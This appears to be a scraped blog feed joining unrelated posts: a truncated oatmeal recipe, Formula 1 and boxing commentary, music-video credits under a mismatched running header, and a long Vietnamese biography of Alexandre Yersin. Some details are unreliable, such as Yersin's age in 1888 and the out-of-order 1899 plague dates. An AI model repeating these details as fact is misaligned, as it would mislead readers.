      Here is my version of baked oatmeal. The original recipe called for ripe bananas and I didn't have any ripe enough so I subbed apples. It is soooo good! I can't wait to try it again with bananas. You could do pretty much any combination of fruit. After I try the banana/blueberry mix, I think I will try cherry/blueberry.

      Ingredients:
      2 medium apples, sliced and skinned
      1 1/2 cup blueberries
      1/4 cup honey
      1 cup oats
      1/2 tsp baking powder
      3/4 tsp cinnamo...
                Formula 1: Red Bull Strikes First   
      Playing catch-up! YallaF1.com
      Round 1: No surprises there.

      Red Bull strikes first. Vettel way ahead of the rest and yes the so-called 'flexi-wings' are still legal, so says the FIA.

      Hard to catch up with these guys. What goes on inside that frontal lobe of Red Bull designer Adrian Newey has left Ferrari, McLaren and Mercedes scratching their heads.

      Melbourne last weekend seemed to be a continuation of last season's finale, which was also a continuation of the other season's finale. Sure McLaren had the pace but give the almighty Red Bulls a mighty challenge and the RB7's true pace will be revealed.

      It does not help that a 1-second gap is worth 3 months of work and research so good luck catching up, Ferrari (read: Massa was so slow- Button).

      Maybe it's not in the front wings after all. Mark Webber says, "We don't use petrol. We use Red Bull."

      One way of getting heat into those tires. YallaF1.com

      Round 2, Malaysia. April 10th.


                Down goes Montiel!   

      That crackling Zygomatic bone-fracturing (inset) left hook we all heard in last Sunday's Championship fight was a testament to 3 things:

      1. It solidified The Filipino Flash's P4P standing against the likes of Manny Pacquaio and Floyd Mayweather, Jr.;
      2. It exposed the weak chin of Cochulito;
      3. It revealed the ineptitude of the referee and ring physician who should have stopped the fight the moment Montiel hit the canvass legs a-cha-cha.

      We all know the sad story of Z Gorres.

                Running: Common form vs Bare form   

      DIRECTOR// David Shamban
      DP// Hayden Mason
      PRODUCER// Jon Burr
      1ST AC// Owen Jackson
      GAFFER// Evan Caddell
      KEY GRIP// Talbot Solenberger
      COLORIST// Jimmy Cadenas
      VISUAL FX SUPERVISOR// Jonathan Parris

      This is the follow up to last year's "Ulay, Oh" video, which has almost 30 million YouTube plays to date.
      youtube.com/watch?v=CAID_2iKO5Y

      Both songs are on the Adonis EP, also released last year, which is available on iTunes here: itunes.apple.com/us/album/adonis-ep/id1003406655

      howibecamethebomb.com/

      Cast: David Shamban and Hayden Mason


                Chào mừng các thầy thuốc Lư Sơn Quế Lâm   
      Nhân ngày Thầy thuốc Việt Nam xin gửi tới các bạn tấm thiếp này


      Nhân ngày này tôi nhớ đến một người thầy thuốc đặc biệt Alexandre Yersin, tôi nghĩ đây chính là một tấm gương điển hình của một người hành nghề y 

      Tôi tìm lục trên Google và thấy hàng loạt bài viết rất hay nhưng cuối cùng tôi chọn trên Cỏ thơm bài viết từ năm 2002 của Bác sĩ Nguyễn Văn Bá tại Pháp tôi xin ghép cùng với các tư liệu ảnh khác để giới thiệu về ông


      Bác sĩ Alexandre YERSIN
      Người có công với Việt Nam

      Bài thuyết trình tại Hội Hành Thiện ngày 27/10/2002
      của bác sĩ NGUYỄN VĂN BA

      Tháng Tám năm 2000, đi viếng thăm Viện Bảo Tàng A. YERSIN, lúc ký tên vào sổ vàng, chúng tôi liếc qua những lời ghi chú của các quan khách, thấy phần đông đều một ý như nhau : "Tại sao một nhà bác học lớn, một nhà nhân ái tầm cỡ như thế, mà trong quê hương ông ít ngườI được biết tiếng ?" Không một bịnh viện nào, không một trường học nào mang tên của ông. Tại Paris có công trường Yersin, nhưng rất xa trung tâm thành phố.
      Thắng bịnh dịch hạch, ân nhân của nhân loại, vị tha, quên mình, Yersin là người đã chiếm tình cảm dân tộc Việt Nam một cách êm thắm. Đi trước thế kỷ của mình, ông là người mở đầu trợ giúp cho các xứ nhược tiểu, phát triển về trồng trọt, chăn nuôi và y tế.
      Nếu các nhà lãnh đạo của những nước giàu mạnh theo gương A. Yersin, thì các dân tộc trên thế giớI sẽ được hoà hợp với nhau.

      Long Vân Khánh Hội

      Du khách đến Nha Trang bằng đường hàng không, hoặc đường bộ, tàu hoả, không nhận thấy tất cả vẻ đẹp của Nha Trang bằng tàu thủy.
      Ngoài khơi, những hòn đảo xinh xắn, hàng ngàn mỏm đá nhấp nhô trên mặt nước, làm cho du khách nhớ đến cảnh Hạ Long.
      Tàu chầm chậm len lỏi giữa mỹ cảnh thiên nhiên, và trước mặt du khách hiện ra một bãi biển cát mịn nhìn mút mắt trải dài từ Hòn Chồng đến Cầu Đá. Tháp Chàm PONAGAR xây từ thết kỷ 12 thêm một nét độc đáo không nơi nào có. Cất trên một hòn cẩm thạch cao 23 thước, nhìn xuống dòng sông Nha Trang.
      Sau Nội Địa, rừng núi thẩng tắp đến chân trời. Vầng thái dương chiếu quanh năm, nhưng khí hậu rất ôn hoà, và trên không trung bầu trời xanh thẳm hiến cho du khách một nơi giải lao tuyệt diệu.
      Cách đây trên một thế kỷ, ngày 29/07/1891, một thanh niên Pháp 28 tuổI, mảnh khảnh, rụt rè mà cương quyết, y sĩ của tàu hàng hải thương thuyền, đặt chân lên bờ biển Nha Trang và bị chinh phục bởi vẻ đẹp của đất nước này. Thanh niên ấy chính là bác sĩ Yersin, nhà bác học tương lai, về sau chiến thắng bịnh dịch hạch, lừng danh thế giới, có lòng nhân ái, suốt đời gắn bó với đất nước dân tộc VI_T NAM và được tôn sùng như thần thánh.
      Yersin phát nhận Nha Trang chẳng khác nào rồng gặp mây :'Long Vân Khánh Hội".

      Thời niên thiếu




      Alexandre Yersin sanh ngày 22 tháng 9 năm 1863 tại hạt Lavaux tổng Vaux tỉnh Morges, tây nam nước Thụy Sĩ. Cùng năm ấy, Henri Dunant ngườI Thụy Sĩ phát động phong trào hồng thập tự quốc tế. Cha là Jean Yersin giái sư Khoa học Tự nhiên tại trường trung học ở Morges nổI tiếng vớI những công trình nghiên cứu về côn trùng học, mất năm ba mươi tám tuổI, ba tuần trước khi Alexandre Yersin ngườI con thứ ba của ông ra chào đời.

      Ngoại tổ của A. Yersin là gốc ngườI Pháp sang định cư ở Thụy Sĩ, để lánh nạn kỳ thị tôn giáo Tin-Lành, dướI thờI vua Louis 14 khi chánh quyền Pháp hủy bỏ sắc lệnh thành Nantes.
      Thời niên thiếu A. Yersin học tại Lausanne đỗ tú tài năm 1882. Năm 1883 vào học ngành y trong viện hàn lâm cũ của Lausanne. Sau đó, Yersin thi vào trường Đại học ở MARBURG, nước Đức, và một thời gian sau sang Paris. Tại đây A. Yersin được giáo sư Cornil chuyên ngành bện thể, nhận vào giúp việc Cornil trong cơ quan của ông ở Hôtel Dieu.
      Một buổi sáng thánh 4 năm 1886, tại bịnh viện Hôtel Dieu, trong buổI thực tập, A. Yersin được giớI thiệu với giáo sư Émile Roux. Chẳng mấy chốc giáo sư Émile Roux đã nhận thấy tính chuyên cần, ham học, ham làm của A. Yersin. Bãy giờ Émile Roux làm phụ tá cho nhà bác học Louis Pasteur tại phòng thí nghiệm của trường cao đẳng sư phạm ở đường Ulm quận 5 Paris. Ngoài giờ làm việc tại Hôtel Dieu, A. Yersin được phép đến phòng thí nghiệm đường Ulm, thực tập. Một mặt, A Yersin lo làm luận án tiến sĩ y khoa "Bịnh lao thực nghiệm", một mặt cộng tác vớI Émile Roux, nghiên cứu vi khuẩn bịnh "bạch hầu".
      A. Yersin cũng được nhà bác học Louis Pasteur lưu ý. Ông bà Pasteur mời Yersin cùng Émile Roux dự buổi ăn tối tân niên 1888.
      Trong thư gởi cho mẹ, A. Yersin kể : Đúng 8 giờ, con và ông Roux rời phòng thí nghiệm để lên phòng của ngài Pasteur, chỉ cần băng qua sân của trường. Bữa ăn tối rất ngon và thoải mái. Sau đó, các vị hút thuốc (dĩ nhiên là không có con). Kế đó, mọI người sang phòng khách. Ngài Pasteur đề cập đến công trình nghiên cứu rất quan trọng do ông Roux vừa thực hiện, và đăng trong số chót của tập biên niên viện Pasteur. Đúng như thế, công trình nghiên cứu này chứng minh có thể chủng ngừa một số bịnh nhiễm trùng nặng, không phải bằng những vi khuẩn gây bịnh, vì dù đã bị làm yếu đi, chúng vẫn còn nguy hiểm, mà dùng độc tố những vi khuẩn tiết ra, nghiã là với một hoá chất hoàn toàn mất sinh lực. Ngài Pasteur cũng có nói về con, là sau khi tốt nghiệp bác sĩ, con sẽ là thành viên tích cực cuả viện Pasteur.
      Năm 1888, A. Yersin vừa đúng 27 tuổI trình luận án tiến sĩ y khoa "Bệnh lao thực nghiệm", và được nhận làm phụ tá cho giáo sư Émile Roux, trong viện Pasteur vừa khai trương năm ấy tại Paris.
      Năm 1889, A. Yersin được chấp nhận vào quốc tịch Pháp. Năm ấy trùng với lễ bách niên của cuộc "Cách mạng Pháp" và khánh thành tháp EIFFEL.
      Dưới sự hướng dẫn của Émile Roux,
      A. Yersin tìm ra độc tố của vi khuẩn bạch hầu.Từ bỏ đường công danh để theokhuynh hướng thiên nhiên
      Một tương lai rực rỡ đang chờ Yersin ở viện Pasteur, nhưng là người thích mạo hiểm thích phiêu lưu, A. Yersin không thể nào mãi mãi tự giam mình trong phòng thí nghiệm. A. Yersin muốn vẫy vùng cho thỏa chí, thường nói với các bạn : Tôi luôn luôn mơ ước khám phá nơi nầy nơi nọ và thám hiểm ; Khi ta còn trẻ không có gì là không thể được. NgườI hiểu A. Yersin hơn ai hết có lẽ là Noel BERNARD nguyên giám đốc viện Pasteur Saigon. Theo ý ông : A. Yersin muốn thoát ly khỏi những mối lo âu gia đình, những tham vọng về danh lợI, và địa vị không bao giờ thoả mãn, muốn ra khỏi lề lối ràng buộc.
      Thế rồi tháng 9.1890, A. Yersin đáp tàu sang Viễn Đông giữa sự bàng hoàng của các thày các bạn. Ông sang Viễn Đông không phải với tư cách một sứ giả khoa học, mà chỉ vớI tư cách một bác sĩ làm công hợp đồng cho hãng "Vận Tải Hàng Hải". Pasteur đã viết trong nhật ký của mình ngày 23.10.1892 :"Bỗng nhiên ý định cuồng nhiệt của Yersin không ai ngăn nổi. Không làm sao cầm giữ ông lại bên cạnh chúng tôi nữa."

      Đất lành chim đậu Yersin làm việc trên chiếc tàu chạy dọc bờ biểm Việt Nam nối liền Sài Gòn, Nha Trang, Hải Phòng. Lần đầu tiên, mặc dầu thấy Nha Trang từ đằng xa, Yersib đã bị chinh phục. Ông ghi trong sổ nhật ký : Ngày 6.5.1891 : "Rời Sài Gòn phải mất 28 tiếng đồng hồ mới đến Nha Trang tàu phải neo cách bờ một dậm, và chỉ đậu lại một giờ, vì thế không lên bờ được. Thật đáng tiếc vì vùng nầy có nhiều núi non và phong cảnh rất ngoạn mục. Trong rừng đầy cọp...
      Lần sau, Yersin xin phép lên bờ với chiếc thuyền độc mộc mà ông đem theo. Đó làngày 29.7.1891. Phong cảnh hữu tình, bờ biển cửa sông các đảo ngoài khơi, màu sắc rực rỡ của một vùng quê nhiệt đới, khí hậu ôn hoà, chinh phục Yersin. Ông quyết định chọn Nha Trang làm quê hương thứ ba, làm việc và sống chết ở đây.
      Năm 1896, A. Yersin viết thư mời Émile Roux đến làm việc chung với ông. Ông tán dương vẻ đẹp quyến rũ của đất nước Việt Nam, và sự niềm nở của dân chúng ở đó.

      Nhà thám hiểm

      Sau khi tìm được mảnh đất lành, A. Yersin xin thôi việc ở "Vận Tải Hàng Hải". Bác sĩ A. Calmette cũng là môn đệ của Pasteur, đến Sài Gòn lập chi nhánh viện Pasteur, mời ông cộng tác, ông từ chối vì muốn đi thám hiểm vùng cao nguyên Trung Việt.
      Đầu tiên ông muốn tìm một đường bộ nối liền Nha Trang với Sài Gòn. Từ Nha Trang, ông đi ngựa ra Phan Rí rồi thuê một người dân thiểu số dẫn đường vào rừng. Đến Di Linh gặp nhiều trở ngại đành quay lại Phan Thiết, lấy thuyền về Nha Trang.

      Lần thất bại nầy không làm ông nản chí. Yersin quyết tâm thám hiểm các miền rừng núi dọc theo dãy Trường Sơn.
      Thời bấy giờ các vùng ấy còn là những nơi bí hiểm, rừng thiêng nước độc. Ngoài các bộ lạc thiểu số không khuất phục triều đình, ít ai đặt chân đến nơi hoang vu ấy.
      Ngày 23.9.1892, Yersin lên đường đi thám hiểm lần thứ nhứt, cùng với một ngườI bồi và năm ngườI cộng sự Việt Nam, đem theo máy kinh vĩ để ghi toạ độ các làng mạc của các dân tộc thiểu số.
      Từ Nha Trang ông ra Ninh Hoà, lên Ban Mê Thuột, đến Stung Treng, nằm trên bờ sông Cửu Long, về Pnom Penh rồi theo đường thủy ra Phú Quốc về cảng Sài Gòn.
      Trong thờI gian hai tháng rưỡi, Yersin đã thành công việc quan sát các bộ lạc thiểu số, chụp 140 ảnh giá trị, và vẽ hoạ đồ những vùng đã trải qua. Ông đã phát giác những phụ lưu của sông Cửu Long phát nguyên tại Trường Sơn chảy đến Stung Treng.
      Yersin thực hiện cuộc thám hiểm nầy với tính cách cá nhân, không có sự trợ giúp của chánh quyền.
      Tháng 10.1892, Yersin về Paris để tường trình những kết quả đã thâu thập với các giới thẩm quyền, hầu mong được viện trợ cho các cuộc thám hiểm khác. Sau nhiều lần thất bại, nhờ người quen giớI thiệu ông được bộ quốc gia giáo dục tặng 15 000 quan Pháp, và gởi gắm ông cho De Lanessan.
      Ngày 29.1.1893, tại Sài Gòn, Yersin gặp Jean Marie De Lanessan, toàn quyền Đông Dương, giao cho ông nhiệm vụ thám hiển vùng Sơn Lâm phiá nam Trung Việt, nghiên cứu phương án làm đường đi đến các vùng dân tộc thiểu số, khai thác khoáng sản và lâm sản, cùng khả năng chăn nuôi.

      Phát giác cao nguyên Lâm Viên


      Ngày 29.1.1893, ông khởi hành từ Biên Hoà có 4 người Việt phụ tá. Sau khi vượt qua núi rừng hiểm trở và các làng mạc của dân tộc thiểu số, ngày 21.6.1893 Yersin phát giác Cao Nguyên Lâm Viên, cao 1500 thước, tức thành phố Đà Lạt ngày nay. Yersin ghi trong sổ tay : Ấn tượng thật là sâu sắc. Từ trong rừng thông bước ra, tôi thấy ngay trước mặt khu cao nguyên rộng lớn trơ trụi, giống như mặt biển đang cuộn lên những đợt sóng xanh rì. Rặng núi Lâm Viên vớI 3 đỉnh cao 2000 thước, vươn lên từ chân trời phiá tây bắc, tạo nên bức phông hùng tráng làm tăng vẻ diễm lệ của vùng nầy.
      Năm 1899, Paul Doumer toàn quyền Đông Dương cho thiết lập nơi ấy một trung tâm nghỉ mát cho ngườI Âu Châu, sau này là thành phố Đà Lạt. "Đà Lạt" là tên gọi của địa phương do ở đó có nhiều suối lớn, sông dài và có dân tộc L_T cư ngụ. Giải thích khác của một cố đạo bằng tiếng La Tinh là sai lạc.
      Lần ấy, trên đường về, đoàn thám hiểm bị phục kích. Yersin bị thương phải đưa võng về Phan Rang. Kẻ tấn công ông là tù chánh trị thoát ngục. Một tuần sau, dân quân bắt lại được 40 ngườI trong 56 ngườI vượt ngục, có cả ngườI chỉ huy tên Thục, cao lớn và thanh lịch. Yersin viết thư cho mẹ về cuộc hành hình của tù chánh trị : "Hôm nay, Thục bị xử trảm. Con có dự. Thật ra rất là ghê tởm. Sau nhát gươm thứ tư đầu mới rơi. Hơn nữa, Thục rất trầm tĩnh. Những người Việt Nam chết can đảm khác thường".
      Ngày 12.2.1894 Yersin lại lên đường thám hiểm lần thứ ba. Ngoài 54 ngườI tùy tùng còn có một toán lính tập mang súng đi theo hộ vệ. Yersin khảo sát những vùng từ Lâm Viên đến Đarlac rồi xuyên qua Trường Sơn đến Attopeu điạ phận Ai Lao. Sau khi hoàn thành nhiệm vụ, ông đi về phía Đông, xuyên Trường Sơn lần nữa rồi tới Tourane (Đà Nẵng).
      Chuyến này gay go cực nhọc hơn trước. Ngày 11.4, ông ghi trong sổ tay : Đường đi thật là khủng khiếp. Trong 4 ngày liên tiếp, chúng tôi phải vượt qua một vùng núi hiểm trở, trèo xuống, leo lên, cứ đơn điệu như thế mãi làm cho chúng tôi rất mệt mỏi. Cây cối chen chúc. Không có đường mòn. Chúng tôi phải khòm lưng chui qua các bụi tre. Vì trờI mưa nên rừng có nhiều vắt không thể tả được. Những người Việt Nam đi cùng với chúng tôi bị sốt rét mặc dầu đã uống thuốc ngừa... Chúng tôi đi qua các làng của bộ tộc Keuyong, Jri Taseng, rất cực nhọc.

      Một khúc quanh lịch sử trong đời Yersin

      Năm 1892, ít lâu sau vụ thám hiểm lần thứ nhứt, Calmette khuyên Yersin nên gia nhập đoàn y sĩ hải ngoại để khỏi lo về mặt tài chánh. Chính trong khi giữ chức vụ nầy, Yersin có cơ hội tìm ra vi khuẩn bịnh DịCH H_CH. Yersin không đoán trước được rằng nhiệm vụ mới nầy sẽ đưa ông đến đài vinh quang, và ông phải cần viện Pasteur bảo trợ như trước.
      Bác sĩ Alexandre YERSIN (1863 - 1943)


      Khám phá ra vi khuẩn gây bịnh dịch hạch

      Từ năm 1866, bịnh dịch hạch phát hiện ở Côn Minh, thủ đô tỉnh Vân Nam; Năm sau lan đến Quảng Đông, suốt 28 năm dịch hạch tiềm tàng ở Vân Nam và Quảng Đông đe doạ Bắc Việt.
      Năm 1892, Yersin đã báo cho Toàn quyền De Lanessan biết cái hiểm hoạ ấy, nhưng De Lanessan trả lời: Không có bịnh dịch hạch ở Vân Nam, mà dầu có đi nữa tôi cũng nói là không. Xứ Bắc Kỳ đã khổ rất nhiều, không cần phải đem dịch hạch gán lên lưng.
      Sau khi đã sát hại gần 100000 người, dịch hạch tràn sang Hương Cảng. Bấy giờ chánh phủ Pháp mới quyết định gởi một phái bộ sang nghiên cứu dịch hạch, và tìm biện pháp để ngăn không cho nó lan xuống Việt Nam. Yersin được biệt phái sang Vân Nam để tìm căn do bịnh dịch hạch. Nhưng lúc bấy giờ dịch hạch đã lắng dịu ở Vân Nam mà lại đang hoành hành ở Hồng Kông. Yersin muốn xin sang Hồng Kông, nhưng Toàn quyền Chevassieux không dám cãi lịnh Paris. Sau nhờ Calmette can thiệp, chánh phủ Pháp thuận cho Yersin sang Hồng Kông.
      Yersin đến Hồng Kông ngày 15.06.1894. Trước mắt ông là một Hồng Kông điêu tàn. Dân số Hồng Kông lúc bấy giờ khoảng 200 000 người, nhưng hơn phân nửa sợ lây đã bỏ chạy nơi khác. Tỷ lệ tử vong lên đến 15%.
      Sir Robin Toàn quyền Hồng Kông và bác sĩ Lawson giám đốc bệnh viện Kennedy Town tiếp Yersin một cách lạnh lùng.
      Tại bệnh viện Kennedy Town, Yersin chạm trán với phái đoàn y tế Nhật gồm sáu người do giáo sư Kitasato hướng dẫn. Họ đến Hồng Kông trước Yersin ba ngày. Kitasato là môn đệ của giáo sư Koch, đã sống ở Berlin bảy năm. Yersin muốn gợi chuyện với Kitasato bằng tiếng Đức, thì Kitasato giả bộ không hiểu và bật cười: "Tôi hiểu tiếng Đức chứ không hiểu thổ ngữ Thụy Sĩ".
      Giáo sư Kitasato và ban trị sự bệnh viện tìm đủ mọi cách cản trở công việc của Yersin. Người Nhật được quyền sử dụng một phòng thí nghiệm tại bệnh viện, và độc quyền mổ xác bệnh nhân chết vì dịch hạch để nghiên cứu.
      Yersin đành thuê thợ làm một túp lều tranh hai phòng, một để làm việc, một để ở. Ngày 22.06.1894, Yersin dọn dụng cụ vào đấy.
      Yersin thấy Kitasato tìm vi khuẩn dịch hạch trong máu thì biết là ông ấy đã sai lạc. Theo Yersin, phải tìm vi khuẩn đó trong hạch.
      Không được mổ công khai thì Yersin phải mổ lén.
      Nhờ sự giúp đỡ của giáo sĩ Vigano, và cho tiền những thủy thủ Anh có nhiệm vụ đem các xác chết đi chôn, Yersin đã được xuống hầm chứa xác vài giờ trước khi xác được đưa ra nghiã địa. Ông phải gạt lớp vôi phủ xác chết, tự cắt hạch từ xác chết đem về phòng thí nghiệm của mình.
      Kính hiển vi cho thấy hằng hà sa số những hình ảnh đồng nhất của các vi khuẩn có hình gậy, hai đầu tròn, nhuộm Loeffler màu nhạt.
      Yersin tiêm vi khuẩn vào chuột thì hai mươi bốn giờ sau chuột chết. Các thú vật thí nghiệm khác thì chết từ hai đến sáu ngày và trong tử thi đầy hạch.
      Không còn nghi ngờ gì nữa. Trong khoảng thời gian bảy ngày, Yersin đã tìm ra vi khuẩn dịch hạch. Ông gửi về viện Pasteur Paris một số ống nghiệm đầy kín chất lấy ra từ hạch bịnh.
      Yersin mời bác sĩ Lawson đến phòng thí nghiệm của mình trong lều tranh và chỉ cho Lawson xem các vi khuẩn tìm được. Ông cũng khiếu nại với quan thống đốc về việc ông bị cản trở không được mổ tử thi. Từ đó bệnh viện dễ dãi cho ông đôi chút.
      Nhiều năm sau kéo dài một cuộc tranh luận sôi nổi, xerm ai là người đầu tiên đã tìm ra vi khuẩn dịch hạch.
      Mặc dầu có tài liệu công bố của viện Pasteur Paris, sách báo y học Anh ngữ vẫn cho rằng  Kitasato là ngườI đầu tiên đã tìm ra được vi khuẩn dịch hạch, hoặc Kitasato và Yersin tìm ra vi khuẩn cùng một lúc và gọi vi khuẩn Kitasato-Yersin. Cuối cùng, năm 1975 Hội nghị Sinh vật học Thế giới lần thứ Mười đã quyết định cho vi khuẩn mang đúng tên người đã khám phá ra nó "Yersinia-Pestis".
      Khi đến Hồng Kông, Yersin đã nhận thấy chuột chết rất nhiều dọc đường, và khi mổ xác chuột, ông tìm thấy hạch đầy vi khuẩn, cho thấy rằng bịnh dịch hạch do chuột truyền nhiễm. Ông đưa ra lý thuyết là vi khuẩn lây qua người do thức ăn bị chuột phóng uế, và vết loét. Chúng ta sẽ thấy rằng lý thuyết này không đúng.
      Khi dịch hạch tại Hồng Kông đã lắng dịu, Yersin về Pháp để cùng Roux, Calmette, Borrel nghiên cứu thuốc chủng (vaccin) để ngừa, và huyết thanh (sérum) để trị dịch hạch. Ông đến Pháp tháng Tư năm 1895. Pasteur sức khoẻ bị suy kém nhiều nhưng cũng đến khen Yersin.
      Để hết tâm trí và thời giờ vào công việc, ông từ chối không làm cha đỡ đầu cho đứa cháu trai con người anh, và ông cho mẹ ông hay lúc nào công việc tiến hành khả quan thì ông mới về Morges thăm mẹ.
      Việc chế tạo huyết thanh đã hoàn thành, Yersin xin trở lại Nha Trang lập một phòng thí nghiệm để chế tạo thật nhiều huyết thanh phòng khi cứu trợ bệnh nhân các nước láng giềng.
           
      Thành lập viện Pasteur Nha Trang
            Với 5000 đồng bạc do toàn quyền Đông Dương trợ cấp, Yersin lập một phòng thí nghiệm đơn sơ tại bờ bể Nha Trang, và cất tại thành phố Khánh Hoà một trại nuôi trâu bò, lừa ngựa, cùng thỏ chuột, dùng cho việc thí nghiệm.
            Năm 1896, ông được chánh phủ biệt phái một viên thú y nhà binh là Pesas đến săn sóc thú vật.

      Quảng Châu - Áo Môn

            Mùa Xuân năm 1896, dịch hạch lại phát hiện ở Quảng Châu, Áo Môn. Yersin đem huyết thanh đến nơi và cứu được nhiều người, nhưng ông rất buồn vì trọng lượng huyết thanh rất ít, không đủ điều trị cho tất cả bệnh nhân. Tháng 9 năm 1896, ông về Paris ba tuần lễ để xin thành lập một viện Pasteur tại Trung Quốc. Kết quả không được như ý. Sau hai mươi bốn giờ về thăm mẹ, Yersin trở lại Việt Nam.
           
      Bombay
            Trên chuyến tàu từ Marseille đến Sài Gòn, Yersin nhận được điện tín của thị trưởng thành phố Bombay yêu cầu đến giúp vì dịch hạch bắt đầu xuất hiện tại đó. Về đến Nha Trang, ông thúc đảy việc chế tạo huyết thanh cho nhanh chóng và đem bảy trăm liều sang Bombay. Đến Colombo, ông nhận được tin Pesas, người thú y cộng sự vừa từ trần. Yersin rất đau lòng vì ông cho rằng Pesas bị nhiễm trùng dịch hạch trong lúc tiêm vào thú vật.
            Tại Bombay, kết quả của huyết thanh không được rạng rỡ. Số tử vong lên đến 50%, vì bịnh nhân đến điều trị rất trễ.
            Tháng 5 năm 1897, dịch hạch dịu dần và Yersin cũng hết huyết thanh, Roux gởi Simon sang thay cho Yersin, và chính Simon đã tìm ra được nguyên nhân làm lan truyền bệnh dịch hạch, từ chuột sang người. Đó là loại bọ chét sống ký sinh ở chuột. Chúng hút máu chuột bịnh đầy vi khuẩn rồi chích qua người.

      Nha Trang

            Yersin về Nha Trang chưa kịp tăng cường sản xuất huyết thanh, thì lại phải đương đầu với dịch hạch lần nữa. Làn nầy nơi ông cư trú: Xóm Cồn Nha Trang.
            Ngày 23 tháng 6 năm 1899, một số người ở xóm Cồn đã chết vì bịnh dịch hạch. Nguồn gốc của bịnh là do các thuyền buôn Trung Quốc mang mầm bệnh đã ghé Nha Trang. Yersin cho sơ tán dân xóm Cồn và tiêm huyết thanh cho họ. Nhà cửa người bịnh thì đốt đi.
            Đến tháng 2 năm 1899, khi mọi người tưởng rằng dịch hạch đã được dập thì bịnh lại tái phát. Hai làng khác gần Nha Trang buộc phải áp dụng các biện pháp tiêu thổ tiêm phòng và di chuyển dân. Đến tháng 3 năm 1899, bệnh dịch hạch ở Nha Trang và xóm Cồn mới được dập tắt. Yersin băn khuăn cảm thấy như mình có lỗi trong những thiệt hại trên, đối với những người mà ông coi như ruột thịt của mình.

      Yersin người đầu tiên đã đem khoa thú y vào Việt Nam
            Đông Dương là một vùng đất lấy nông nghiệp làm cơ bản. Trâu bò là sức kéo chủ yếu. Nếu trâu bò bị bịnh thì đời sống kinh tế của nông thôn bị đe doạ. Yersin thấy việc phòng chống dịch cho trâu bò hết sức quan trọng. Ông là người đi đầu trong công việc nghiên cứu, giải quyết vấn đề về dịch tễ của trâu bò và đặt nền móng cho công tác thú y ở Việt Nam.
            Năm 1904, Yersin, sau một thời gian thí nghiệm đã khẳng định ở Đông Dương có cả hai bịnh : nhiệt thán dịch tả trâu bò, và tụ huyết trùng trâu bò, trái hẳn với thuyết của các thú y trước cho rằng ở Đông Dương không có nhiệt thán dịch tả trâu bò.
            Yersin đào tạo một số cán bộ thú y cho toàn Đông Dương về phương diện bệnh lý và vệ sinh tiêm chủng. Các bác sĩ thú y người Pháp đến Đông Dương đều phải trải qua một đợt thực tập ba tháng tại viện Pasteur Nha Trang.
            Nhờ sự đóng góp rất lớn của Yersin trong khoa học thú y mà ngành chăn nuôi Việt Nam từ đầu thế kỷ 20 đã vững bước tiến lên, và những thú y Việt Nam đã quen coi viện Pasteur Nha Trang là từ đường của nghề nghiệp. Từ năm 1899, viện Pasteur Nha Trang dần dần nghiên cứu sản xuất huyết thanh trị bịnh dịch tả trâu bò cùng các bịnh gia súc, kể cả thuốc thú y; còn thuốc dùng cho con người, họ nhường cho viện Pasteur Sài Gòn.

      Nhập chủng thảo mộc

            Nơi nông trại Suối Dầu, lúc đầu Yersin trồng ngũ cốc để nuôi nhân công và súc vật. Khi việc sản xuất thuốc chủng (vaccin) và huyết thanh (sérum) bắt đầu ổn định, ông nghĩ ngay đến việc tìm một vài loại cây trồng để cung cấp một phần kinh phí cho hoạt động của viện Pasteur Nha Trang, vì Viện là một tổ chức tư nhân, không phải của nhà nước thuộc địa.

            a) Phát triển cây cao su (hévéa brasiliensis)

            Nhận thấy cao su trong tương lai sẽ đem lại một nguồn lợi lớn, năm 1897, Yersin với sự giúp đỡ của Vernet kỹ sư canh nông bắt đầu cho trồng cây cao su tại Suối Dầu năm 1909. Diện tích trồng cao su tại Suối Dầu lên đến 100 mẫu, lợi tức hàng năm một tấn rưỡi nhựa trị giá 15000 francs.
            Từ 1930 đến 1940, mỗi năm Suối Dầu sản xuất một trăm tấn nhựa khô. So với số lượng sản xuất của toàn miền Nam 100 000 tấn, con số nói trên không đáng kể, nhưng giúp viện Pasteur Nha Trang cân bằng ngân sách và khỏi phải xin trợ cấp.

            b) Nhập chủng cây quinquina

            Trận đại chiến thế giới lần thứ nhứt làm Việt Nam thiếu hụt thuốc Kí-ninh (quinine). Yersin nhập chủng cây quinquina trồng tại Hòn Bà, nhưng kết quả không được tốt. Năm 1923 cây nầy được đem trồng ở Dran Djiring và Diom, trên cao nguyên Lang Bian. Nhờ sự trợ giúp của Lambert, nhà hoá lý học, năm 1937-1938, diện tích trồng cây quinquina lên đến 671 mẫu. Nhân công đã bóc được 41 500 ki-lô vỏ, chế tạo được 3 227 ki-lô sulfate de quinine.

      Yersin giám đốc trường y khoa Hà Nội
            Đương say sưa với công việc ở viện Pasteur Nha Trang thì bất thình lình năm 1902 Yersin được toàn quyền Đông Dương Paul Doumer mời ra Hà Nội nhậm chức hiệu trưởng trường Y Khoa.
            Việc xây dựng một trường Đại Học Y Khoa tại Đông Dương đã được nghĩ tới nhiều năm trước, và Hà Nội được chọn. Đối với giới cầm quyền Đông Dương thời đó, trường y khoa Hà Nội không chỉ là nơi đào tạo các thầy thuốc bản xứ, mà còn là một trung tâm văn hoá, khoa học, nhằm phát huy ảnh hưởng của nền văn minh tây phương, đặc biệt là của Pháp.
            Các vấn đề tổ chức chung và nhân sự được trao đổi với Brouardel, hiệu trưởng trường Đại Học Y Khoa Paris. Theo yêu cầu của bộ trưởng thuộc địa Decrais, một hiệu trưởng không được quá trẻ và phải đủ tư cách cùng uy tín để hoàn thành nhiệm vụ một cách đẹp đẽ. Thế là nhà bác học nổi tiếng Alexandre Yersin được chọn làm hiệu trưởng đầu tiên của trường Y Khoa Hà Nội.
            Khoá đầu tiên có 29 sinh viên được trúng tuyển: Bắc Kỳ 15 người, Trung Kỳ 5 người, Nam Kỳ 8 người, Cao Miên 1 người.
            Là nhà mô phạm và thích huấn luyện chuyên viên, A. Yersin ngoài chức hiệu trưởng, lãnh thêm nhiệm vụ giảng dạy các môn lý, hoá, cơ thể học.
            Nhưng khi Paul Doumer rời Đông Dương, toàn quyền Paul Beau muốn hạ thấp trình độ giảng dạy thì Yersin buột miệng kêu lên: "Chánh phủ Pháp muốn đào tạo y tá thay vì đào tạo thầy thuốc!" Rồi ông xin từ chức hiệu trưởng trường y khoa Hà Nội, trở về Nha Trang.
                      

       Trường Trung học Đà lạt
      Yersin tại trường Trung học Đà lạt 1935

      Yersin dưới mắt người đồng thời

